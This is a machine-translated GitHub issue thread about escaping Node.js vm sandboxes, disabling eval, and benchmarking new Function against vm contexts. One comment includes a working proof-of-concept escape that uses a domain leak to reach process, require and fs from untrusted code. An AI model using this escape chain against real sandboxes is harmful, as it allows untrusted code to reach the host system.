@Eric24 disableEval์ด ํ˜ธ์ถœ๋˜๋Š” ์ปจํ…์ŠคํŠธ์—์„œ eval์„ ๋น„ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ vm์—์„œ ์‹คํ–‰๋  ์ œ๊ณต๋œ ์‚ฌ์šฉ์ž ์˜์—ญ ์ฝ”๋“œ์˜ ์‹œ์ž‘ ๋ถ€๋ถ„์— ์‚ฝ์ž…ํ•˜๊ณ  ์‹ถ์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋˜ํ•œ ํ˜ธ์ŠคํŠธ์—์„œ ์ด๊ฒƒ์„ ์‹คํ–‰ํ•˜๊ณ  ํ•ด๋‹น ์ปจํ…์ŠคํŠธ์—์„œ๋„ ๋น„ํ™œ์„ฑํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

@parasyte : ์•Œ๊ฒ ์Šต๋‹ˆ๋‹ค. ๊ฐ์‚ฌ ํ•ด์š”! ๊ท€ํ•˜์˜ ์†”๋ฃจ์…˜์ด ์ด ์ฃผ์ œ๋ฅผ ์—ฐ๊ตฌํ•œ ํ›„ ๋ฉฐ์น (๋ช‡ ์ฃผ์— ๊ฑธ์ณ)์ด ๋ฐœ๊ฒฌ๋œ ์ตœ๊ณ ๋ผ๊ณ  ๋งํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

@Anorov ์ด๊ฒƒ์€ ๋ฉฐ์น  ์ „์— ๋ณด๊ณ ๋˜์—ˆ์Šต๋‹ˆ๋‹ค: https://github.com/nodejs/node/issues/15673 ์ƒŒ๋“œ๋ฐ•์Šค์— null ํ”„๋กœํ† ํƒ€์ž…์ด ์žˆ๋Š” ๊ฒฝ์šฐ์—๋„ VM์„ ํƒˆ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋„๋ฉ”์ธ์ด ํ™œ์„ฑํ™”๋œ ๊ฒฝ์šฐ์—๋งŒ ๋ฌธ์ œ๊ฐ€ ๋ฉ๋‹ˆ๋‹ค(๊ธฐ๋ณธ๊ฐ’์€ ์•„๋‹ˆ์ง€๋งŒ ๋ชจ๋“  ์ข…์†์„ฑ ๊ณ„์ธต ๊ตฌ์กฐ์—์„œ domain ์‚ฌ์šฉ์— ์ฃผ์˜).

์—ฌ๊ธฐ ํŽธ๋ฆฌํ•œ ๊ฐœ๋… ์ฆ๋ช…์ด ์žˆ์Šต๋‹ˆ๋‹ค. ๋…ธ๋“œ v8.6.0์—์„œ ํ…Œ์ŠคํŠธ:

// 'use strict';

const domain = require('domain');
const vm = require('vm');

const untrusted = `
const domain = Promise.resolve().domain;
const process = domain.constructor.constructor('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.readdirSync('/'))
`;

domain.create().enter(); // Entering a domain leaks the private context into VM

vm.runInNewContext(untrusted, Object.create(null));

์ด์™€ ๊ฐ™์€ ๋ˆ„์ˆ˜์— ์ฃผ์˜ํ•˜์‹ญ์‹œ์˜ค. ์ด ์ทจ์•ฝ์„ฑ ํด๋ž˜์Šค ๋กœ๋ถ€ํ„ฐ ์•ˆ์ „ํ•œ ์œ ์ผํ•œ ๋ฐฉ๋ฒ•์€ eval์„ ๋น„ํ™œ์„ฑํ™”ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  vm ๋Š” ํ‰๊ฐ€ ๋ฒ”์œ„๋ฅผ ๋ฒ—์–ด๋‚˜๋Š” ๋‹ค๋ฅธ ๋ฌธ์ œ๊ฐ€ ์žˆ์„ ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์— ์ฃผ์˜ํ•˜์‹ญ์‹œ์˜ค.

@parasyte ๊ฐ์‚ฌํ•ฉ๋‹ˆ๋‹ค. Python์—์„œ ๋…ธ๋“œ๋กœ ์ด ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. https://github.com/Anorov/cloudflare-scrape/blob/master/cfscrape/__init__.py#L111

๋‹ค๋ฅธ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ( domain ๋˜๋Š” ๊ธฐํƒ€)๋ฅผ ๊ฐ€์ ธ์˜ค๊ฑฐ๋‚˜ ์‚ฌ์šฉํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ด ์ฝ”๋“œ์— ์ž ์žฌ์ ์ธ ๋ฌธ์ œ๊ฐ€ ์žˆ์Šต๋‹ˆ๊นŒ? ๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ Javascript ์ข…์†์„ฑ(์˜ˆ: vm2)์ด ํ•„์š”ํ•˜์ง€ ์•Š๋„๋ก ํ•˜๊ณ  ์‹ถ์Šต๋‹ˆ๋‹ค.

@Anorov ์•„

์˜ณ์€. ๋ˆ„๊ตฐ๊ฐ€๋Š” ๋‚ด๊ฐ€ ๊ธฐ๋Œ€ํ•˜๋Š” ํŽ˜์ด์ง€๋ฅผ ๋ชจ๋ฐฉํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.
๋‚ด ์Šคํฌ๋ฆฝํŠธ๋Š” Cloudflare๊ฐ€ ์•„๋‹Œ ๊ฒฝ์šฐ Cloudflare๋ผ๊ณ  ์ƒ๊ฐํ•ฉ๋‹ˆ๋‹ค. ๋‚˜๋„ ๊ณ ๋ ค์ค‘
์„œ๋ฒ„์˜ IP ์ฃผ์†Œ๊ฐ€ Cloudflare์˜ ์†Œ์œ ์ธ์ง€ ํ™•์ธ
์ถ”๊ฐ€ ์˜ˆ๋ฐฉ ์กฐ์น˜.

ํ•˜์ง€๋งŒ ์ƒ๊ด€์—†์ด ์ด ์ฝ”๋“œ๊ฐ€ ์ž„์˜์˜
Cloudflare ๋ฟ๋งŒ ์•„๋‹ˆ๋ผ ์‚ฌ์šฉ์ž ์ž…๋ ฅ. ์ƒŒ๋“œ๋ฐ•์‹ฑ ๋ฉ”์ปค๋‹ˆ์ฆ˜์€ ์•ˆ์ „ํ•ฉ๋‹ˆ๊นŒ?
๋…ธ๋“œ ์ปค๋ฎค๋‹ˆํ‹ฐ์˜ ์ง€์‹ ์ค‘ ์ตœ๊ณ ์ž…๋‹ˆ๊นŒ?

2017๋…„ 10์›” 2์ผ ์˜คํ›„ 10์‹œ 10๋ถ„์— "Jay Oster" [email protected]์ด ์ž‘์„ฑํ–ˆ์Šต๋‹ˆ๋‹ค.

@Anorov https://github.com/anorov ์•„ ์•Œ๊ฒ ์Šต๋‹ˆ๋‹ค . ๊ทธ๊ฒŒ ๊ฑฑ์ •๋˜์„ธ์š”?
CloudFlare(๋˜๋Š” MITM)๋Š”
์ƒŒ๋“œ๋ฐ•์Šค? ํ‘œ์  ๊ณต๊ฒฉ์ด์–ด์•ผ ํ•˜์ง€๋งŒ ๋‚˜๋Š” ๊ทธ๊ฒƒ์„ ์ง€๋ฐฐํ•˜์ง€ ์•Š์„ ๊ฒƒ์ด๋‹ค.
์™„์ „ํžˆ ๋ฐ–์œผ๋กœ.

โ€”
๋‹น์‹ ์ด ์–ธ๊ธ‰๋˜์—ˆ๊ธฐ ๋•Œ๋ฌธ์— ์ด๊ฒƒ์„ ๋ฐ›๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.
์ด ์ด๋ฉ”์ผ์— ์ง์ ‘ ๋‹ต์žฅํ•˜๊ณ  GitHub์—์„œ ํ™•์ธ
https://github.com/patriksimek/vm2/issues/32#issuecomment-333718695 ๋˜๋Š” ์Œ์†Œ๊ฑฐ
์Šค๋ ˆ๋“œ
https://github.com/notifications/unsubscribe-auth/AA5FI1K1_aDCq6-RPOkCc1ak7gs9KFlvks5soZeZgaJpZM4I22m8
.

@์•„๋…ธ๋กœํ”„ :

๋…ธ๋“œ ์ปค๋ฎค๋‹ˆํ‹ฐ๊ฐ€ ์•„๋Š” ํ•œ ์ƒŒ๋“œ๋ฐ•์‹ฑ ๋ฉ”์ปค๋‹ˆ์ฆ˜์€ ์•ˆ์ „ํ•œ๊ฐ€์š”?

์ ˆ๋Œ€์ ์œผ๋กœํ•˜์ง€. ๊ณต์‹ ๋ฌธ์„œ ์—์„œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋งค์šฐ ๊ฐ•๋ ฅํ•˜๊ฒŒ ์–ธ๊ธ‰ํ•ฉ๋‹ˆ๋‹ค.

์ฐธ๊ณ : vm ๋ชจ๋“ˆ์€ ๋ณด์•ˆ ๋ฉ”์ปค๋‹ˆ์ฆ˜์ด ์•„๋‹™๋‹ˆ๋‹ค. ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•˜์ง€ ๋งˆ์‹ญ์‹œ์˜ค.

๊ทธ ๊ฒฝ๊ณ ๋Š” ์•Œ๊ณ  ์žˆ์ง€๋งŒ ์‹ค์šฉ์„ฑ์— ๋Œ€ํ•ด ๋ฌป์Šต๋‹ˆ๋‹ค.

2017๋…„ 10์›” 3์ผ ์˜คํ›„ 4์‹œ 34๋ถ„์— "Cody Massin" [email protected]์ด ์ž‘์„ฑํ–ˆ์Šต๋‹ˆ๋‹ค.

@์•„๋…ธ๋กœํ”„ https://github.com/anorov :

์ƒŒ๋“œ๋ฐ•์‹ฑ ๋ฉ”์ปค๋‹ˆ์ฆ˜์€ Node ์ปค๋ฎค๋‹ˆํ‹ฐ์˜ ์ตœ์„ ์„ ๋‹คํ•ด ์•ˆ์ „ํ•ฉ๋‹ˆ๊นŒ?
์ง€์‹?

์ ˆ๋Œ€์ ์œผ๋กœํ•˜์ง€. ๊ณต์‹ ๋ฌธ์„œ
https://nodejs.org/api/vm.html#vm_vm_executing_javascript ๊ฐ€ ์ด๊ฒƒ์„ ๋งŒ๋“ญ๋‹ˆ๋‹ค.
๋งค์šฐ ๊ฐ•ํ•œ ๋ฉ”๋ชจ:

์ฐธ๊ณ : vm ๋ชจ๋“ˆ์€ ๋ณด์•ˆ ๋ฉ”์ปค๋‹ˆ์ฆ˜์ด ์•„๋‹™๋‹ˆ๋‹ค. ์‹คํ–‰์— ์‚ฌ์šฉํ•˜์ง€ ๋งˆ์‹ญ์‹œ์˜ค.
์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์ฝ”๋“œ.

โ€”
๋‹น์‹ ์ด ์–ธ๊ธ‰๋˜์—ˆ๊ธฐ ๋•Œ๋ฌธ์— ์ด๊ฒƒ์„ ๋ฐ›๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.
์ด ์ด๋ฉ”์ผ์— ์ง์ ‘ ๋‹ต์žฅํ•˜๊ณ  GitHub์—์„œ ํ™•์ธ
https://github.com/patriksimek/vm2/issues/32#issuecomment-333969953 ๋˜๋Š” ์Œ์†Œ๊ฑฐ
์Šค๋ ˆ๋“œ
https://github.com/notifications/unsubscribe-auth/AA5FIwNwNErztUZB-adB4KrC5WoBYs4Nks5sopplgaJpZM4I22m8
.

์‹ค์ œ๋กœ ์ƒŒ๋“œ๋ฐ•์‹ฑ ๋ฉ”์ปค๋‹ˆ์ฆ˜์€ ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์ฝ”๋“œ์— ๋Œ€ํ•ด ์•ˆ์ „ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ด๊ฒƒ์ด @patriksimek ์ด vm2 ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์•ˆ์ „ํ•œ ์ƒŒ๋“œ๋ฐ•์‹ฑ ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ๋งŒ๋“ค๋ ค๊ณ  ์‹œ๋„ํ•œ ์ด์œ ์ž…๋‹ˆ๋‹ค. ์ด๊ฒƒ์ด @parasyte ๊ฐ€ ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์ฝ”๋“œ๋ฅผ ์ƒŒ๋“œ๋ฐ•์‹ฑํ•  ๋•Œ ๋‹ค๋ฅธ ์ ‘๊ทผ ๋ฐฉ์‹์„ ์‚ฌ์šฉํ•˜์—ฌ ์ž์‹ ์˜ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๋งŒ๋“œ๋Š” ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•œ ์ด์œ 

@Anorov ๊ฐ„๋‹จํžˆ ๋งํ•ด์„œ vm ์—๋งŒ ์˜์กดํ•˜์ง€ ๋งˆ์‹ญ์‹œ์˜ค. ๊ทธ๋Ÿฌ๋‚˜ ๊ทธ๊ฒƒ์€ ์–‘ํŒŒ์˜ ๋‹จ์ผ ์ธต์œผ๋กœ ์œ ์šฉํ•œ ๋„๊ตฌ์ž…๋‹ˆ๋‹ค.

๋‚˜๋Š” vm๊ณผ @parasyte ์—์„œ eval์„ ๋น„ํ™œ์„ฑํ™”ํ•˜๊ธฐ ์œ„ํ•ด ์ œ์•ˆ๋œ C++ ์ฝ”๋“œ๋ฅผ ๊ฐ€์ง€๊ณ 

const userfunc = new Function('context',
  '"use strict"; disableEval(); return ' + '(() => {...userland code here... return ...})();');

์ด๊ฒƒ๋„ ์ž‘๋™ํ•˜๋ฉฐ ํ›จ์”ฌ ๋น ๋ฆ…๋‹ˆ๋‹ค(์ผ๋ถ€ ํ…Œ์ŠคํŠธ ์‚ฌ๋ก€์—์„œ๋Š” 1000๋ฐฐ ์ด์ƒ ๋น ๋ฆ„). eval์„ ๋น„ํ™œ์„ฑํ™”ํ•˜๋Š” ๊ฒƒ ์™ธ์—๋„ ์‚ฌ์šฉ์ž ์˜์—ญ ์ฝ”๋“œ์— 'global'์— ๋Œ€ํ•œ ์ฐธ์กฐ๊ฐ€ ํฌํ•จ๋˜์ง€ ์•Š๋„๋ก ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค(์ด ํ…Œ์ŠคํŠธ ์—†์ด ํ•จ์ˆ˜๋Š” global.whatever๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ „์—ญ ๋ฒ”์œ„๋ฅผ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์Œ). ์ด๊ฒƒ์€ ํšจ๊ณผ์ ์ด๊ณ  ์•ˆ์ „ํ•œ ์ƒŒ๋“œ๋ฐ•์Šค์ธ ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค. ๋‚ด๊ฐ€ ๋ฌด์—‡์„ ๋†“์น˜๊ณ  ์žˆ์Šต๋‹ˆ๊นŒ?

๋‹น์‹ ์˜ ์ „๋žต์ด ์‚ฌ๋žŒ๋“ค์ด fs์™€ ๊ฐ™์€ ๋„ค์ž„์ŠคํŽ˜์ด์Šค๋ฅผ ๊ฐ€์ ธ์˜ค๊ณ  ์„œ๋ฒ„๋ฅผ ๋Œ€ํญ ์ˆ˜์ •ํ•˜๋Š” ๊ฒƒ์„ ๋ง‰์Šต๋‹ˆ๊นŒ? ๋‚˜๋Š” ๋˜ํ•œ eval ๋น„ํ™œ์„ฑํ™”์— ๋Œ€ํ•ด ๊ถ๊ธˆํ•ฉ๋‹ˆ๋‹ค. ์™œ eval์— ๋Œ€ํ•ด ๊ฑฑ์ •ํ•˜๊ณ  eval ์™ธ๋ถ€์˜ ์ฝ”๋“œ์— ๋Œ€ํ•ด์„œ๋Š” ๊ฑฑ์ •ํ•˜์ง€ ์•Š์Šต๋‹ˆ๊นŒ?

@wysisoft : ์ข‹์€ ์งˆ๋ฌธ์ž…๋‹ˆ๋‹ค. ๋„ค, '์š”๊ตฌ'๋Š” ๋…ธ์ถœ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๊ฐ ์Šคํฌ๋ฆฝํŠธ๋Š” ๋ฉ”ํƒ€ ๋ฐ์ดํ„ฐ์˜ ์ผ๋ถ€๋กœ ํ•„์š”ํ•œ "ํ—ˆ์šฉ ๋ฐ ๊ฒ€์ฆ๋œ" ๋ชจ๋“ˆ ๋ชฉ๋ก์„ ์ •์˜ํ•˜๋ฉฐ, ์ด๋Š” ์‹คํ–‰๋˜๊ธฐ ์ „์— ๊ธฐ๋Šฅ์— ๊ฐœ๋ณ„์ ์œผ๋กœ ๋…ธ์ถœ๋ฉ๋‹ˆ๋‹ค. ๊ตฌ์ฒด์ ์œผ๋กœ ๋งํ•˜๋ฉด 'fs'๋Š” ์Šน์ธ๋œ ๋ชฉ๋ก์— ์—†์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค(๊ทธ๋Ÿฌ๋‚˜ ์ž„์‹œ ์ €์žฅ์ด ํ•„์š”ํ•œ ์Šคํฌ๋ฆฝํŠธ์˜ ๊ฒฝ์šฐ ์ œํ•œ๋œ ์ฝ๊ธฐ/์“ฐ๊ธฐ ๊ธฐ๋Šฅ ์„ธํŠธ๊ฐ€ ์ œ๊ณต๋จ).

'eval'์„ ๋น„ํ™œ์„ฑํ™”ํ•˜๋Š” ๊ฒƒ์€ ์—ฌ๋Ÿฌ ์ต์Šคํ”Œ๋กœ์ž‡์„ ์ค‘์ง€ํ•˜๋Š” ๋ฐ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค( 18NOV16 ์— @parasyte์˜ ์ฃผ์„ ์ฐธ์กฐ). 'eval'์„ ํ—ˆ์šฉํ•˜๋ฉด ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์œผ๋กœ๋Š” ๋ฐฉ์ง€ํ•  ์ˆ˜ ์—†๋Š” ๋ฐฉ์‹์œผ๋กœ ์ „์—ญ ๋ฒ”์œ„์— ์•ก์„ธ์Šคํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ 10 ์›” 17์ผ @parasyte์˜ ๋Œ“๊ธ€์—์„œ ํ™•์ธ).

@Eric24 vm ๋Œ€ํ•ด "๋Š๋ฆผ"์ด ๋ฌด์—‡์ธ์ง€ ์ดํ•ดํ•˜์ง€ ๋ชปํ•ฉ๋‹ˆ๋‹ค. nodeJS๋ฅผ ๊ตฌ๋™ํ•˜๋Š” ๊ฒƒ๊ณผ ๋˜‘๊ฐ™์€ v8 ๋Ÿฐํƒ€์ž„์ž…๋‹ˆ๋‹ค. ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ๋•Œ๋งˆ๋‹ค ์ƒŒ๋“œ๋ฐ•์Šค๋ฅผ ๋‹ค์‹œ ๋งŒ๋“œ๋Š” ๊ฒƒ๊ณผ ๊ฐ™์€ ์–ด๋ฆฌ์„์€ ์ผ์„ ํ•˜๊ณ  ์žˆ์ง€ ์•Š๋‹ค๊ณ  ํ™•์‹ ํ•˜์‹ญ๋‹ˆ๊นŒ? ์•ฝ๊ฐ„์˜ ์˜ค๋ฒ„ํ—ค๋“œ๊ฐ€ ์žˆ์ง€๋งŒ 1000๋ฐฐ ๋” ๋งŽ์€ ์˜ค๋ฒ„ํ—ค๋“œ๋Š” ์•„๋‹™๋‹ˆ๋‹ค .

@wysisoft eval() ๋Š” ์‰ฝ๊ฒŒ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ์ƒŒ๋“œ๋ฐ•์Šค ํƒˆ์ถœ ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค. ๋น„ํ™œ์„ฑํ™” ํ•˜๋ฉด ๊ฐœ์ธ ์ปจํ…์ŠคํŠธ ๋‚ด์—์„œ ์ฝ”๋“œ ๋ฅผ

@parasyte - ๊ฐ๊ฐ์— ๋Œ€ํ•ด ๊ฐ€๋Šฅํ•œ ํ•œ ๋™์ผํ•œ ์ฝ”๋“œ์— ๊ฐ€๊นŒ์šด Function() ๋ฐ VM์„ ๋งŒ๋“ค๊ณ  ๋‘˜ ๋‹ค 1000๋ฒˆ ์‹คํ–‰ํ•˜๊ณ  ํ•„์š”ํ•œ ์ด ์‹œ๊ฐ„์„ ๋ณด๊ณ ํ•˜๋Š” ๋งค์šฐ ๊ฐ„๋‹จํ•œ ํ…Œ์ŠคํŠธ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์•„๋ž˜ ์ฝ”๋“œ:

"use strict";

const util = require('util');
const vm = require('vm');
const uuid = require("uuid/v4");

console.log('TEST=' + global.test);
let response = {result: 0, body: null};

// create the Function()
let hrstart = process.hrtime();
const xform = new Function('y', 'response', 'uuid',
  '"use strict"; return ' + '(() => {global.test = "FUNC"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123,  y: y, z: doubleZ(z), u:uuid()};})();'
);
let hrend = process.hrtime(hrstart);
console.log('new Function: ', hrend[0], hrend[1]/1000000, '\n');

// create/compile the Script()
hrstart = process.hrtime();
const script = new vm.Script(
  '"use strict"; ((global) => {' + 'global.test = "VM"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123,  y: y, z: doubleZ(z), u:uuid()};' + '})(this);'
);
hrend = process.hrtime(hrstart);
console.log('new vm.Script: ', hrend[0], hrend[1]/1000000);

// create the VM context
hrstart = process.hrtime();
let ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
let context = new vm.createContext(ctx);
hrend = process.hrtime(hrstart);
console.log('new vm.createContext: ', hrend[0], hrend[1]/1000000, '\n');

// test 1000 iterations of Function()
let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');

// test 1000 iterations of VM (with optional new context on each)
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  //ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};  // << THIS IS THE PROBLEM!
  //context = new vm.createContext(ctx);
  out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');

ํ…Œ์ŠคํŠธ์—์„œ ๋ณผ ์ˆ˜ ์žˆ๋“ฏ์ด ์Šคํฌ๋ฆฝํŠธ์™€ ์ปจํ…์ŠคํŠธ๋ฅผ ํ•œ ๋ฒˆ ๋งŒ๋“  ๋‹ค์Œ 1000๋ฒˆ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์‹ค์ œ ๋Œ€์ƒ ์‚ฌ์šฉ ์‚ฌ๋ก€์—์„œ๋Š” ๊ฐ ์‹คํ–‰์ด ๊ณ ์œ ํ•˜๊ณ  ์ƒˆ๋กœ์šด ์ปจํ…์ŠคํŠธ๋กœ ์‹œ์ž‘ํ•ด์•ผ ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๋งค๋ฒˆ ์ปจํ…์ŠคํŠธ๋ฅผ ๋‹ค์‹œ ์ƒ์„ฑํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค(์ปดํŒŒ์ผ๋œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์บ์‹œํ•  ์ˆ˜ ์žˆ์Œ). ๋งค๋ฒˆ ์ปจํ…์ŠคํŠธ๋ฅผ ๋‹ค์‹œ ์ƒ์„ฑํ•˜์ง€ ์•Š์•„๋„ Function()๊ณผ VM์˜ ์ฐจ์ด๋Š” 6~14๋ฐฐ์ž…๋‹ˆ๋‹ค.

๊ทธ๋Ÿฌ๋‚˜ ์ž์„ธํžˆ ์‚ดํŽด๋ณธ ํ›„ ์‹ค์ œ ์‚ฌ์šฉ ์‚ฌ๋ก€์— ๋” ๊ฐ€๊นŒ์šด ์ฝ”๋“œ ๋ณ€ํ˜•(๋ฃจํ”„ ๋‚ด์—์„œ ๋งค๋ฒˆ ์ปจํ…์ŠคํŠธ ์ƒ์„ฑ)์„ ์‹œ๋„ํ–ˆ์Šต๋‹ˆ๋‹ค. ๋‚˜๋Š” ์›๋ž˜ 1ms ๋ฏธ๋งŒ์œผ๋กœ ์ปจํ…์ŠคํŠธ์˜ ์ผํšŒ์„ฑ ์ƒ์„ฑ ์‹œ๊ฐ„์„ ์ •ํ–ˆ๊ธฐ ๋•Œ๋ฌธ์— ๋ฐ˜๋ณต๋‹น ๊ธฐ์ค€์œผ๋กœ ํฌํ•จํ•˜๊ณ  ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์‹ค์ œ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋ฉด ์‹ค์ œ ๋ฒ”์ธ์ด ๋‚˜ํƒ€๋‚ฌ์Šต๋‹ˆ๋‹ค. VM์€ ์—ฌ์ „ํžˆ โ€‹โ€‹๋Š๋ฆฌ์ง€๋งŒ ๋ฌธ์ œ๋Š” ์ปจํ…์ŠคํŠธ๋ฅผ ๋งŒ๋“œ๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๋ผ 'ctx' ๊ฐœ์ฒด๋ฅผ ๋งŒ๋“œ๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ •๋ง ๋†€๋ผ์šด ์ผ์ž…๋‹ˆ๋‹ค.

๊ทธ๋Ÿฌ๋‚˜ VM ์ปจํ…์ŠคํŠธ์— ๋Œ€ํ•œ ์ƒˆ ๊ฐ์ฒด๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๊ฒƒ์€ ๋งค๋ฒˆ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค(Function()์—๋„ ์•ฝ๊ฐ„์˜ ๋ณ€ํ˜•์ด ํ•„์š”ํ•˜๋ฏ€๋กœ ๋‘˜ ์‚ฌ์ด์˜ ์ฐจ์ด๋Š” 6~14๋ฐฐ(์—ฌ์ „ํžˆ ์ค‘์š”ํ•จ)๋กœ ๋Œ์•„๊ฐ‘๋‹ˆ๋‹ค. .

ํ . ๋ฐฉ๊ธˆ ๋‹ค๋ฅธ ํ…Œ์ŠคํŠธ๋ฅผ ์‹œ๋„ํ–ˆ์Šต๋‹ˆ๋‹ค.

let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
  out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');


hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
  // let context = new vm.createContext(ctx);
  out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');

์—ฌ๊ธฐ์„œ 'ctx' ๊ฐ์ฒด๋Š” ๋‘ ํ…Œ์ŠคํŠธ์—์„œ ๋งค๋ฒˆ ๋‹ค์‹œ ์ƒ์„ฑ๋˜์ง€๋งŒ ์ปจํ…์ŠคํŠธ๋Š” ํ•œ ๋ฒˆ๋งŒ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค. ์‹œ์ฐจ๋Š” 6-14 ๋ฒ”์œ„๋กœ ๋Œ์•„๊ฐ‘๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ๋งค๋ฒˆ ์ปจํ…์ŠคํŠธ๋ฅผ ๋‹ค์‹œ ์ƒ์„ฑํ•˜๋Š” ์ค„์˜ ์ฃผ์„์„ ์ œ๊ฑฐํ•˜๋ฉด ์ตœ๋Œ€ 144๋ฐฐ ๋Š๋ ค์ง‘๋‹ˆ๋‹ค!

@Eric24 ์ด์ „ ๊ฒŒ์‹œ๋ฌผ์—์„œ ๋งํ•œ ๋Œ€๋กœ ํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ๐Ÿ˜• script.runInContext() ๊ฐ€ ๋ฌธ์ œ์ž…๋‹ˆ๋‹ค. ์ด๊ฒƒ์€ eval() ๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๊ฒƒ๊ณผ ์‚ฌ์‹ค์ƒ ๋™์ผํ•ฉ๋‹ˆ๋‹ค(๋‹ค๋ฅธ v8 ์ปจํ…์ŠคํŠธ ์‚ฌ์šฉ).

